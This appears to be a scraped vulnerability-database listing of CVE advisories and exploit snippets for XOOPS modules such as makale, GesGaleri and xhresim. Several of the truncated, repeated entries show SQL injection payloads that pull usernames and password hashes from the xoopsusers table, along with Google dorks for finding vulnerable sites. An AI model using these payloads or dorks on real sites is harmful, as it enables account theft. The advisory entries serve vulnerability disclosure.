CVE-2008-4635: Exposure of Sensitive Information to an Unauthorized Actor

Unspecified vulnerability in Hisanaga Electric Co, Ltd. hisacart 1.29 and earlier, a module for XOOPS, allows remote attackers to obtain sensitive user information via unknown vectors...

CVE-2008-4635

The CVE affects the XOOPS module hisa_cart (versions 1.29 and earlier) from Hisanaga Electric Co. Ltd. A vulnerability exists that allows remote attackers to disclose information of registered users. The JVN entry confirms an information-disclosure flaw with a remote-execution pathway implied by ...

XOOPS Module makale 0.26 - SQL Injection

XOOPS Module: makale AUTHOR : EcHoLL HOME : http://www.warezturk.org MAÄ°L : [email protected] DORKS 1 : dork: /modules/makale/ target: scriptpage.com/modules/makale/makale.php?id= sql Code Sql code: 15+UNION+SELECT+0,1,2,3,uname,5,pass,7,8,9,10,11,12,13,14,15,16,17,18,19+from+xoopsusers--...

XOOPS Module makale Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ====================================================== XOOPS Module makale Remote SQL Injection Vulnerability ====================================================== XOOPS Module: makale AUTHOR : EcHoLL HOME : http://www.warezturk.org DORKS...

XOOPS Module makale 0.26 - SQL Injection

XOOPS Module makale 0.26 - SQL Injection XOOPS Module: makale AUTHOR : EcHoLL HOME : http://www.warezturk.org MAÄ°L : [email protected] DORKS 1 : dork: /modules/makale/ target: scriptpage.com/modules/makale/makale.php?id= sql Code Sql code:...

XOOPS Module GesGaleri (kategorino) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Xoops GesGaleri Sql injection Author : EcHoLL www.warezturk.org www.tahribat.com Greetz : Blacklabel TURK Godlike ! ModuleName: GesGaleri ! ScriptName: XOOPS ! GoogleDork: inurl:"/modules/GesGaleri/" system"color FF0000"; system"Nohacking"; pri...

XOOPS Module GesGaleri (kategorino) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ XOOPS Module GesGaleri kategorino Remote SQL Injection Exploit ================================================================ !/usr/bin/perl -w Xoops GesGaleri Sql injectio...

XOOPS Module GesGaleri - SQL Injection

XOOPS Module GesGaleri - SQL Injection !/usr/bin/perl -w Xoops GesGaleri Sql injection Author : EcHoLL www.warezturk.org www.tahribat.com Greetz : Blacklabel TURK Godlike ! ModuleName: GesGaleri ! ScriptName: XOOPS ! GoogleDork: inurl:"/modules/GesGaleri/" system"color FF0000"; system"Nohacking";...

xoopsgesgaleri-sql.txt

!/usr/bin/perl -w Xoops GesGaleri Sql injection Author : EcHoLL www.warezturk.org www.tahribat.com Greetz : Blacklabel TURK Godlike ! ModuleName: GesGaleri ! ScriptName: XOOPS ! GoogleDork: inurl:"/modules/GesGaleri/" system"color FF0000"; system"Nohacking"; print...

XOOPS Module GesGaleri - SQL Injection

!/usr/bin/perl -w Xoops GesGaleri Sql injection Author : EcHoLL www.warezturk.org www.tahribat.com Greetz : Blacklabel TURK Godlike ! ModuleName: GesGaleri ! ScriptName: XOOPS ! GoogleDork: inurl:"/modules/GesGaleri/" system"color FF0000"; system"Nohacking"; print...

JVN#67334580 hisa_cart information disclosure vulnerability

hisacart from Hisanaga Electric Co.Ltd is a shopping cart module for XOOPS. hisacart contains a vulnerability allowing the disclosure of users' information. Impact A remote attacker could obtain information of registered users. Solution Update the Software An update is being distributed to...

XOOPS Module xhresim (index.php no) Remote SQL Injection Vulnerability

No description provided by source. XOOPS Module: xhresim All Version AUTHOR : EcHoLL HOME : http://www.warezturk.org MA?L : [email protected] DORKS 1 : dork: /modules/xhresim/ target: http://scriptpage.com/modules/xhresim/index.php?no= Sql Code sql code=...

XOOPS Module xhresim (index.php no) Remote SQL Injection Vuln

Exploit for unknown platform in category web applications ============================================================= XOOPS Module xhresim index.php no Remote SQL Injection Vuln ============================================================= XOOPS Module: xhresim All Version AUTHOR : EcHoLL HOME ...

XOOPS Module xhresim - SQL Injection

XOOPS Module: xhresim All Version AUTHOR : EcHoLL HOME : http://www.warezturk.org MAÄ°L : [email protected] DORKS 1 : dork: /modules/xhresim/ target: http://scriptpage.com/modules/xhresim/index.php?no= Sql Code sql code= 9999+union+select+0,concatuname,0x3a,pass,2,3+from+xoopsusers-- live li...

XOOPS Module xhresim - SQL Injection

XOOPS Module xhresim - SQL Injection XOOPS Module: xhresim All Version AUTHOR : EcHoLL HOME : http://www.warezturk.org MAÄ°L : [email protected] DORKS 1 : dork: /modules/xhresim/ target: http://scriptpage.com/modules/xhresim/index.php?no= Sql Code sql code=...

XOOPS Module xhresim (index.php no) Remote SQL Injection Vuln

No description provided by source. XOOPS Module: xhresim All Version AUTHOR : EcHoLL HOME : http://www.warezturk.org MAÄ°L : [email protected] DORKS 1 : dork: /modules/xhresim/ target: http://scriptpage.com/modules/xhresim/index.php?no= Sql Code sql code=...

xhresim-sql.txt

XOOPS 1.0 RC 3.0.4 Module myAlbum - Remote SQL Injection www.xoops.org ---------------------------------------------------------- Bug founded by d3v1l Date: 20.09.2007 [email protected] ----------------------------------------------------------- Greetz tO:- Security-Shell Members...

CVE-2008-4433

SQL injection vulnerability in search.php in the RMSOFT MiniShop module 1.0 for Xoops might allow remote attackers to execute arbitrary SQL commands via the itemsxpag parameter...

CVE-2008-4432

Cross-site scripting XSS vulnerability in search.php in the RMSOFT MiniShop module 1.0 for Xoops allows remote attackers to inject arbitrary web script or HTML via the itemsxpag parameter...

CVE-2008-4435

Multiple cross-site scripting XSS vulnerabilities in the RMSOFT Downloads Plus rmdp module 1.5 and 1.7 for Xoops allow remote attackers to inject arbitrary web script or HTML via the 1 key parameter to search.php and the 2 id parameter to down.php...